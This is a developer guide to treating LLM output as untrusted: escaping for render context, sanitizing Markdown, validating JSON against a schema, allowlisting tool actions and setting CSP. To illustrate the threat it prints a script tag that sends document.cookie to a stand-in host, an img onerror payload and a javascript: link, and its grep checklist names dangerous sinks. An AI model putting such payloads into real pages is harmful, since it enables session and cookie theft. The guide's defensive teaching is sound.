Safe LLM Output Handling: Render, Escape, and Never Execute Blindly
For developers shipping LLM features into web apps, CLIs, and back-office automation. This guide shows how to treat model output as untrusted input, render it safely, avoid accidental code execution, and choose the right controls for HTML, Markdown, JSON, and tool-calling flows.
TL;DR — LLM output is untrusted data, not code, not HTML, and not shell input. The default fix is: keep model output in plain text, escape on output for the target context, validate against a schema before using it structurally, and never pass it to
eval, a shell, SQL, a template engine, or a browser sink likeinnerHTMLwithout a sanitizer. Reading time: ~7 min
What it is and where it sits
Handling LLM output safely means treating every token from the model the same way you would treat user-supplied input from the internet: render it as data, escape it for the destination context, validate it before acting on it, and only allow execution through explicit, narrow interfaces.
In a typical app, the LLM sits between your application logic and some destination where its output is displayed or consumed:
- browser UI
- email templates
- PDFs or reports
- SQL or search queries
- shell commands or job runners
- internal tools and workflow engines
- tool/function-calling adapters
What this replaces: the naive pattern where the app asks the model for "HTML", "SQL", "bash", or "JavaScript" and then directly injects or runs the answer. That pattern fails the same way classic injection bugs fail; the only difference is that the attacker can now influence the payload indirectly through prompts, retrieved documents, uploaded files, or prior conversation state.
A safe architecture usually inserts one or more of these layers after the model:
- output encoder for the render context
- sanitizer for rich text you intentionally allow
- schema validator for structured output
- allowlisted tool dispatcher for actions
- policy checks and logging before side effects
View as text
[User] ---- 1. prompt/data ----> [App]
[App] ---- 2. request ----> [LLM]
[LLM] ---- 3. output ----> [Post-processor]
|
| 4. validate/escape/sanitize
v
[Renderer/Tool Gate]
|
| 5. safe display or action
v
[Browser/Worker]The key architectural point: the LLM should not talk directly to privileged sinks. Your app should terminate the trust boundary and convert model output into one of two things only:
- inert content for display, or
- validated arguments to a predeclared action.
How it actually works
Walk one realistic example: a support dashboard where an agent asks the model to summarize a ticket thread and produce a customer-facing reply in Markdown. The reply is shown in a web UI and can later be copied into an email.
Step 1: The model returns mixed content
Suppose the ticket body contains attacker-controlled text like this:
Please refund me.
<script>fetch('https://evil.example/steal?c='+document.cookie)</script>
Or Markdown with raw HTML:
Click here <img src=x onerror="alert(document.domain)">
If your prompt says "return Markdown" or "return HTML", the model may echo or transform that content. It may also generate links such as javascript:alert(1) if prompted badly.
Step 2: Store raw output as data
Persist the model response as plain text in your database or object store. Do not pre-render it and do not mark it trusted.
Good:
{"reply_markdown":"We reviewed your case..."}
Bad:
{"reply_html":"<p>We reviewed...</p><script>...</script>"}
Storing raw text preserves your ability to change sanitization rules later and avoids contaminating downstream systems with already-unsafe HTML.
Step 3: Render for the exact destination
For a browser UI, the safest default is to render as text, not HTML. In React, that means {text} in a node, not dangerouslySetInnerHTML. In server templates, that means auto-escaping stays on.
If product requirements really need formatting, use a constrained pipeline:
- parse Markdown
- disable raw HTML in Markdown, or strip it
- sanitize the generated HTML with an allowlist
- enforce safe URL schemes (
https:,mailto:if needed) - set a Content Security Policy so a sanitizer miss is less catastrophic
Step 4: Validate before structural use
If you ask the model for JSON like:
{"priority":"high","tags":["refund"],"send_email":false}
validate it against a schema before using it. Reject unknown fields, type mismatches, overlong strings, and enum violations. If validation fails, log it and either retry with a stricter prompt or fall back to manual review.
Typical validator failure shape:
POST /api/reply-plan 422 Unprocessable Entity
body.priority: must be one of [low, medium, high]
body.tags[3]: must be string, got object
body: additionalProperties "run_shell" not allowed
That last line matters. Attackers love smuggling extra keys into model-generated JSON in hopes some downstream code will honor them.
Step 5: Never let output pick its own execution path
The dangerous anti-pattern is:
exec(modelOutput)
or:
element.innerHTML = modelOutput
or:
cursor.execute(model_output)
Instead, map validated intent to code you wrote. Example: the model can return { "action": "close_ticket", "ticket_id": 123 }, but your dispatcher must check that action is one of a fixed set and that ticket_id is an integer in an allowed scope. The model never supplies raw shell, SQL, or template code.
When to use it (and when not to)
Use these controls whenever model output crosses a trust boundary or reaches a privileged sink.
| Scenario | Recommendation |
|---|---|
| Show model text in a web UI | Render as text by default; if Markdown is required, strip raw HTML and sanitize generated HTML |
| Feed model output into SQL, shell, or code execution | Do not do this; convert output into validated parameters for prewritten functions |
| Use model output as JSON config for a workflow | Validate against a strict JSON Schema; reject unknown fields |
| Generate emails or PDFs | Sanitize HTML if rich formatting is required; otherwise keep plain text |
| Internal-only admin tool | Same rules apply; internal users and retrieved docs can still carry hostile content |
| Pure offline experimentation in a throwaway sandbox | You can relax some controls, but never on a machine with real credentials or network access |
You probably don't need a full sanitizer pipeline if all of these are true:
- you only display model output as plain text
- you never allow raw HTML or Markdown rendering
- you never execute or interpolate output into commands, templates, SQL, or code
- you validate any structured output before use
You definitely do need stronger controls if any of these are true:
- you render rich text in a browser
- you support copy-to-email or export-to-HTML/PDF
- you let the model call tools or trigger workflows
- your prompts include retrieved documents, web pages, or file uploads
Trade-offs
Every safety layer buys you something and costs you something.
-
Escaping output for the render context
- Benefit: blocks most XSS and template injection in normal display paths
- Cost: you lose rich formatting unless you add a separate safe-render pipeline
-
Markdown-to-HTML plus sanitization
- Benefit: preserves useful formatting while reducing script/event-handler injection risk
- Cost: more dependencies, more parsing edge cases, and occasional broken formatting when the sanitizer strips tags users expected
-
Strict schema validation for JSON
- Benefit: prevents hidden fields, type confusion, and malformed action requests
- Cost: retries increase latency; strict schemas can reduce model flexibility and require versioning
-
Allowlisted tool dispatch
- Benefit: turns arbitrary generation into bounded actions you can audit
- Cost: more application code, more maintenance, and occasional friction when product wants "just let the model do it"
-
CSP in the browser
- Benefit: reduces blast radius if unsafe HTML slips through
- Cost: operational tuning; third-party scripts and inline styles often break until you clean them up
-
Human review before side effects
- Benefit: best defense for high-risk actions like refunds, deletes, or outbound messages
- Cost: staffing, latency, and lower automation rates
In practice
Example 1: Express app rendering Markdown safely
import express from "express";
import { marked } from "marked";
import sanitizeHtml from "sanitize-html";
const app = express();
app.use(express.json());
marked.setOptions({ headerIds: false, mangle: false });
app.post("/preview", (req, res) => {
const markdown = String(req.body.reply_markdown || "");
// Raw HTML in Markdown is the dangerous part. Strip or escape it before render.
const html = marked.parse(markdown, { async: false });
const safe = sanitizeHtml(html, {
allowedTags: ["p", "br", "strong", "em", "ul", "ol", "li", "code", "pre", "blockquote", "a"],
allowedAttributes: {
a: ["href", "title", "rel", "target"]
},
allowedSchemes: ["http", "https", "mailto"],
transformTags: {
a: sanitizeHtml.simpleTransform("a", { rel: "noopener noreferrer", target: "_blank" })
}
});
res.type("html").send(`<div class="llm-reply">${safe}</div>`);
});
app.listen(3000);
What it does: converts model Markdown into a restricted HTML subset and blocks dangerous tags, attributes, and URL schemes. Gotcha: many Markdown parsers will pass raw HTML through unless you explicitly strip or sanitize after parsing; marked alone is not a sanitizer.
Example 2: JSON Schema gate before tool execution
from jsonschema import Draft202012Validator
SCHEMA = {
"type": "object",
"additionalProperties": False,
"required": ["action", "ticket_id"],
"properties": {
"action": {"type": "string", "enum": ["close_ticket", "add_tag", "assign_queue"]},
"ticket_id": {"type": "integer", "minimum": 1},
"tag": {"type": "string", "maxLength": 32},
"queue": {"type": "string", "enum": ["billing", "support", "fraud"]}
},
"allOf": [
{
"if": {"properties": {"action": {"const": "add_tag"}}},
"then": {"required": ["tag"]}
},
{
"if": {"properties": {"action": {"const": "assign_queue"}}},
"then": {"required": ["queue"]}
}
]
}
validator = Draft202012Validator(SCHEMA)
def dispatch(model_json: dict):
errors = sorted(validator.iter_errors(model_json), key=lambda e: e.path)
if errors:
raise ValueError("; ".join(e.message for e in errors))
action = model_json["action"]
ticket_id = model_json["ticket_id"]
if action == "close_ticket":
return close_ticket(ticket_id)
if action == "add_tag":
return add_tag(ticket_id, model_json["tag"])
if action == "assign_queue":
return assign_queue(ticket_id, model_json["queue"])
raise ValueError("unsupported action")
What it does: accepts only a fixed action vocabulary and rejects extra keys like command, sql, or url. Gotcha: additionalProperties: false is the line that stops silent privilege creep; without it, downstream code often starts honoring fields you never intended.
Example 3: Browser-side CSP header to reduce XSS impact
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
What it does: if unsafe HTML slips through, inline scripts and many payloads still fail to execute. Gotcha: CSP is defense-in-depth, not a sanitizer; if your app relies on inline scripts, this policy will break them until you refactor or use nonces/hashes.
⚠️ Do not "test" unsafe rendering by pasting model output into production admin consoles, browser devtools snippets, SQL shells, or a server terminal. A single copied payload can execute with your own session, credentials, or shell privileges.
A practical checklist for code review:
- grep for dangerous sinks:
grep -R "dangerouslySetInnerHTML\|innerHTML\|exec(\|spawn(\|eval(\|new Function\|cursor.execute(\|template.HTML" .
- for each hit, answer two questions:
- Is model output ever able to reach this sink?
- If yes, where is the exact escaping, sanitization, or schema validation?
If the answer to question 2 is "in the prompt" or "the model usually behaves," treat that as no control.
Further reading
- OWASP Cross Site Scripting Prevention Cheat Sheet
- OWASP Input Validation Cheat Sheet
- Content Security Policy Level 3
- JSON Schema Draft 2020-12 Core and Validation
- The "Cross-site scripting (XSS)" section of the MDN Web Security docs
This article was written by an AI system and published pending human review. Verify anything you intend to act on.
Have a project in mind?
Get an instant AI price estimate for it, or talk directly to our team.
One email a month on what we learn building with AI